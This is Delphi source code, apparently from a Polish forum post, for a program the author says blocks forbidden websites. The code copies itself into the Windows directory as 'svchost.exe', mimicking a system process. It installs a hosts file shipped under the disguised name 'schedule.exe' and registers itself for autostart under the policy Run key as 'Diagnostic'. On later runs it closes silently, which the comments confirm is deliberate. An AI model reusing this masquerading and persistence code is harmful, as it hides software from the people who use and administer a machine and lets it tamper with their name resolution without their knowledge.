unit svchost;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, CoolTrayIcon;
type
TMAIN = class(TForm)
CoolTrayIcon1: TCoolTrayIcon;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
MAIN: TMAIN;
implementation
{$R *.dfm}
function SizeOfFile(AFileName : string) : LongWord;
var
FileHandle : THandle;
begin
Result := 0;
if FileExists(AFileName) then
begin
FileHandle := CreateFile(PChar(AFileName), GENERIC_READ,
0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
Result := GetFileSize(FileHandle, nil);
CloseHandle(FileHandle);
end;
end;
procedure TMAIN.FormCreate(Sender: TObject);
var
Rejestr : TRegistry;
_Path, _FileEXE, _hostDEF, _hostsDest : string;
_WinDir, _DestEXE : array[0..MAX_PATH + 1] of char;
_FirstStart : Integer;
begin
_FirstStart := 0;
// KOPIOWANIE I SPRAWDZANIE APLIKACJI
_PATH := ExtractFilePath(Application.ExeName);
_FileEXE := ExtractFileName(Application.ExeName);
GetWindowsDirectory(_WinDir,MAX_PATH);
StrCat(_DestEXE, _WinDir);
StrCat(_DestEXE, '\svchost.exe');
if not FileExists(_DestEXE) then
begin
CopyFile(PAnsiChar(_Path + _FileEXE), _DestEXE, False);
_FirstStart := _FirstStart + 1;
end
else
begin
if SizeOfFile(_DestEXE) <> SizeOfFile(_Path + _FileEXE) then
CopyFile(PAnsiChar(_Path + _FileEXE), _DestEXE, False);
end;
// KOPIOWANIE I SPRAWDZANIE HOSTS
_hostDEF := '\schedule.exe';
_hostsDest := _WinDir + '\system32\drivers\etc\hosts';
// hosts ma byc w WinDir\schedule.exe
if not FileExists(_WinDir + _hostDEF) then
begin
CopyFile(PAnsiChar(_Path + _hostDEF), PAnsiChar(_WinDir + _hostDEF), False);
_FirstStart := _FirstStart + 1;
end
else
begin
if SizeOfFile(_WinDir + _hostDEF) <> SizeOfFile(_Path + _hostDEF) then
CopyFile(PAnsiChar(_Path + _hostDEF), PAnsiChar(_WinDir + _hostDEF), False);
end;
if not FileExists(_hostsDest) then
begin
CopyFile(PAnsiChar(_WinDir + _hostDEF), PAnsiChar(_hostsDest), False);
_FirstStart := _FirstStart + 1;
end;
// ZAPISYWANIE W REJESTRZE AUTOSTARTU
Rejestr := TRegistry.Create;
Rejestr.RootKey := HKEY_LOCAL_MACHINE;
try
Rejestr.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',False);
if not Rejestr.ValueExists('Diagnostic') then
begin
Rejestr.WriteString('Diagnostic', _DestEXE);
_FirstStart := _FirstStart + 1;
end;
finally
Rejestr.CloseKey;
Rejestr.Free;
end;
if _FirstStart >= 4 then
begin
if MessageBox(Handle,'Wszystko już zrobione :))!', 'ZAKOŃCZONO', MB_OK + MB_ICONEXCLAMATION + MB_ICONWARNING) = IdOK then
Close;
end
{ TUTAJ JAKOŚ ZROBIĆ, ŻE JAK SIĘ KLIKNIE 'OK' TO WYŁĄCZA PROGRAM }
else
{ TUTAJ TEŻ ZAMYKA, JEŚLI NIE BYŁ PIERWSZY RAZ URUCHOMIONY - BEZ POWIADOMIENIA OCZYWIŚCIE }
Close;
end;
end.
A w programie chodzi o blokowanie niedozwolonych witryn :)